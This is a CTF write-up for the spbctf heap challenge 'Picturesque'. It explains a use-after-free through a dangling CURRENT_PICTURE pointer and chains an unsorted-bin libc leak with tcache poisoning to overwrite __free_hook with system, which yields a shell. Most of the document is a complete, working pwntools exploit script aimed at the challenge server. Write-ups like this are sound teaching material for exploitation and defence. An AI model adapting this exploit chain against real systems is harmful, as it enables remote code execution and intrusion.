Picturesque
Picturesque
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-04 | Status: Solved Techniques: bit_granular_write, free_hook_overwrite, pixel_bit_leak, system_binsh, tcache_fd_poisoning, unsorted_bin_leak
Summary
Task: menu-driven picture gallery with struct+pixels heap allocations; UAF via dangling CURRENT_PICTURE pointer after burn. Solution: unsorted bin leak via pixel display, tcache fd poisoning to overwrite __free_hook with system, trigger via free("/bin/sh").
Picturesque — spbctf
Description
Enjoy the beauty of your very own picture gallery. Flag is in flag.txt. nc 109.233.56.90 11734
A menu-driven "picture gallery" application. The binary is an ELF x86-64 with PIE, Full RELRO, Canary, and NX enabled, linked against glibc 2.27 (Ubuntu 18.04). Source code (picturesque.c) is provided along with the libc and linker.
The program manages struct picture objects (name[16], width, height, pixels pointer — 32 bytes total, allocated in 0x30 chunks) and separately-allocated pixel buffers. The menu allows: buy canvas (malloc struct + pixels), approach picture (set CURRENT_PICTURE), draw shapes (write bits into CURRENT_PICTURE->pixels), admire (display pixel data as X/' ' characters), and burn (free pixels then struct, set PICTURES[i]=NULL).
Analysis
Struct layout
c read-only • copy allowedstruct picture { char name[16]; // offset 0 int width; // offset 16 int height; // offset 20 char *pixels; // offset 24 }; // sizeof = 32 bytes → malloc chunk size 0x30
Pixels are stored as a bitmap: each pixel is one bit, packed 8 per byte. The pixel buffer size is (width * height + 7) / 8.
Vulnerability: Use-After-Free
In burn_picture_down():
c read-only • copy allowedvoid burn_picture_down() { int i = select_picture(); if (i >= 0) { free(PICTURES[i]->pixels); free(PICTURES[i]); PICTURES[i] = NULL; // ← clears array entry // BUT: CURRENT_PICTURE is NOT cleared! } }
If the burned picture is the currently approached one, CURRENT_PICTURE becomes a dangling pointer to the freed struct. Subsequent draw and admire operations use this freed struct — reading stale fields (width, height, pixels pointer) and writing into the freed pixels buffer.
Critical insight: preserved fields after free
After freeing a 0x30 tcache chunk, glibc 2.27 only writes the fd pointer at offset 0 (overlapping name[0:8]). The width (offset 16), height (offset 20), and pixels pointer (offset 24) fields are preserved. So CURRENT->pixels still points to the freed pixels chunk, and draw can write arbitrary data there — including poisoning the tcache fd.
Pixel display as a leak primitive
admire_picture() reads each bit from CURRENT->pixels and prints X (bit=1) or space (bit=0). By decoding the visual output back to bytes, we can read arbitrary heap data through the dangling pointer — including main_arena pointers from unsorted bin chunks.
Bit-granular write primitive
picture_draw_rectangle() with a 1x1 rectangle sets or clears individual bits at pixels[byteIdx]. By iterating over all 8 bits of each byte, we can write arbitrary byte values to any offset within the pixels buffer.
Solution
Phase 1 — Libc leak via unsorted bin
- Create 7 filler pictures with large pixels (w=50, h=30 → pixels chunk 0xd0) plus 1 target and 1 guard.
- Approach the target picture.
- Burn the 7 fillers to fill tcache[0xd0] (7 entries) and tcache[0x30] (7 struct entries).
- Burn the target → its pixels chunk goes to the unsorted bin (tcache full), struct to fastbin.
CURRENT_PICTUREdangles at the freed struct. Itspixelsfield still points to the freed pixels chunk in the unsorted bin, whose fd/bk contain main_arena pointers.- Call
admire— it reads pixel bits from the unsorted bin chunk. Decode the pixel display back to bytes to recover the main_arena leak. - Calculate:
libc_base = leak - 0x3ebca0.
Phase 2 — Tcache poisoning → __free_hook overwrite
- Buy picture A with w=32, h=8 → both struct (32 bytes) and pixels (32 bytes) are 0x30 chunks.
- Approach A, then burn A →
CURRENT_PICTUREdangles at struct_A.- tcache[0x30]: struct_A → pixels_A → [old entries]
CURRENT->pixels = pixels_A(preserved),CURRENT->width=32,height=8
- Use
drawon CURRENT to write__free_hookaddress into pixels_A at offset 0 (overwriting the tcache fd).- tcache[0x30]: struct_A → pixels_A → __free_hook
- Drain tcache[0x30] by buying pictures with non-0x30 pixel sizes:
- Buy B (pixels 0x20): struct = struct_A (pop 1)
- Buy C (pixels 0x20): struct = pixels_A (pop 2)
- Buy D (pixels 0x20): struct = __free_hook (pop 3)
- D's
buy_new_canvaswrites the "name" at offset 0 of the struct (= __free_hook). Sendp64(system)as the name →__free_hook = system.
Phase 3 — Trigger shell
- Buy picture E (w=8, h=8). Approach E.
- Use
drawto write/bin/sh\0into E's pixels buffer (8 bytes, bit by bit via 1x1 rectangle draws). - Burn E →
free(E->pixels)→__free_hook(E->pixels)→system("/bin/sh"). - Read flag.txt from the shell.
Exploit script
python read-only • copy allowed#!/usr/bin/env python3 """ Picturesque (spbctf) — heap UAF exploit, glibc 2.27. Chain: 1. Libc leak: fill tcache[0xd0], free 8th pixels → unsorted bin. CURRENT dangles, admire reads main_arena fd/bk from freed pixels. 2. Tcache poison: after approach+burn A (0x30 struct+pixels), CURRENT dangles. Draw on CURRENT writes into freed pixels_A (tcache[0x30] entry). Overwrite pixels_A.fd = __free_hook. Then buy pictures to drain tcache until __free_hook is returned as a struct. Write system addr as name. 3. Trigger: free a chunk containing "/bin/sh" → system("/bin/sh"). """ import sys, re from pwn import * context.arch = 'amd64' context.log_level = 'info' libc = ELF('./libc.so.6', checksec=False) REMOTE = ('109.233.56.90', 11734) LOCAL = ('127.0.0.1', 9999) def conn(): if len(sys.argv) > 1 and sys.argv[1] == 'remote': return remote(*REMOTE) return remote(*LOCAL) # ---- menu helpers -------------------------------------------------------- def wait_menu(io): io.recvuntil(b'What do you want to do? ') def buy(io, w, h, name): io.sendline(b'3') io.recvuntil(b'How wide should it be (1-50): ') io.sendline(str(w).encode()) io.recvuntil(b'How tall should it be (1-30): ') io.sendline(str(h).encode()) io.recvuntil(b'What would you like to call it: ') if isinstance(name, str): name = name.encode() io.sendline(name) wait_menu(io) def approach(io, sel): io.sendline(b'5') io.recvuntil(b'Which one? ') s = str(sel).encode() if isinstance(sel, (int, str)) else sel io.sendline(s) wait_menu(io) def burn(io, sel): io.sendline(b'4') io.recvuntil(b'Which one? ') s = str(sel).encode() if isinstance(sel, (int, str)) else sel io.sendline(s) io.recvuntil(b'\xf0\x9f\x92\xa8') # 💨 io.recvline() wait_menu(io) def admire_raw(io): io.sendline(b'2') data = io.recvuntil(b'What do you want to do? ') return data def draw_rect(io, x0, y0, x1, y1, color): io.sendline(b'1') io.recvuntil(b'What to draw? ') io.sendline(b'1') io.recvuntil(b'x0 y0 x1 y1: ') io.sendline(f'{x0} {y0} {x1} {y1}'.encode()) io.recvuntil(b'Specify color (0/1): ') io.sendline(str(color).encode()) wait_menu(io) # ---- pixel decode -------------------------------------------------------- def decode_pixels(raw_output, width, height): lines = raw_output.split(b'\n') rows = [] for ln in lines: if b'> ' in ln and b' <' in ln: start = ln.index(b'> ') + 2 end = ln.rindex(b' <') rows.append(ln[start:end]) bits = [] for y in range(min(height, len(rows))): row = rows[y] for x in range(width): bits.append(1 if (x < len(row) and row[x:x+1] == b'X') else 0) data = bytearray() for i in range(0, (len(bits) // 8) * 8, 8): b = 0 for k in range(8): b |= bits[i + k] << k data.append(b) return bytes(data) # ---- bit-level write via draw -------------------------------------------- def write_byte_at(io, off, value, width): """Write byte at offset `off` in CURRENT->pixels.""" for k in range(8): pix_idx = off * 8 + k x = pix_idx % width y = pix_idx // width bit = (value >> k) & 1 draw_rect(io, x, y, x, y, bit) def write_qword_at(io, off, value, width): for i in range(8): write_byte_at(io, off + i, (value >> (8 * i)) & 0xff, width) # ========================================================================== def exploit(): io = conn() wait_menu(io) # ===== Phase 1: Libc leak ===== log.info("Phase 1: Libc leak via unsorted bin") for i in range(7): buy(io, 50, 30, f'F{i}') buy(io, 50, 30, 'T') buy(io, 10, 10, 'G') # guard against top-chunk consolidation approach(io, 'T') for i in range(7): burn(io, f'F{i}') burn(io, 'T') # CURRENT = T.struct (dangling). CURRENT->pixels = T.pixels (in unsorted bin). raw = admire_raw(io) pixel_data = decode_pixels(raw, 50, 30) leak_fd = u64(pixel_data[0:8]) log.info("Leaked fd = %#x", leak_fd) for off in [0x3ebca0, 0x3ebc98, 0x3ebcb0, 0x3ebc78, 0x3ebd60, 0x3ebd58]: cand = leak_fd - off if (cand & 0xfff) == 0 and 0x500000000000 <= cand <= 0x7fffffffffff: libc.address = cand log.success("libc base = %#x (offset %#x)", cand, off) break free_hook = libc.sym['__free_hook'] system_addr = libc.sym['system'] burn(io, 'G') # ===== Phase 2: Tcache poison ===== log.info("Phase 2: Tcache poisoning") buy(io, 32, 8, 'A') # struct 0x30, pixels 0x30 approach(io, 'A') burn(io, 'A') # tcache[0x30]: struct_A → pixels_A → [old entries] write_qword_at(io, 0, free_hook, 32) # tcache[0x30]: struct_A → pixels_A → __free_hook buy(io, 1, 1, 'B') # struct = struct_A buy(io, 1, 1, 'C2') # struct = pixels_A # Buy D: struct = __free_hook, name = system_addr io.sendline(b'3') io.recvuntil(b'How wide should it be (1-50): ') io.sendline(b'1') io.recvuntil(b'How tall should it be (1-30): ') io.sendline(b'1') io.recvuntil(b'What would you like to call it: ') io.send(p64(system_addr) + b'\n') wait_menu(io) log.success("__free_hook overwritten with system!") # ===== Phase 3: Trigger ===== buy(io, 8, 8, 'E') approach(io, 'E') binsh = b'/bin/sh\x00' for i, byte_val in enumerate(binsh): write_byte_at(io, i, byte_val, 8) # Burn E → free(E->pixels) → system("/bin/sh") io.sendline(b'4') io.recvuntil(b'Which one? ') io.sendline(b'E') sleep(2) io.sendline(b'cat flag.txt') io.interactive() if __name__ == '__main__': exploit()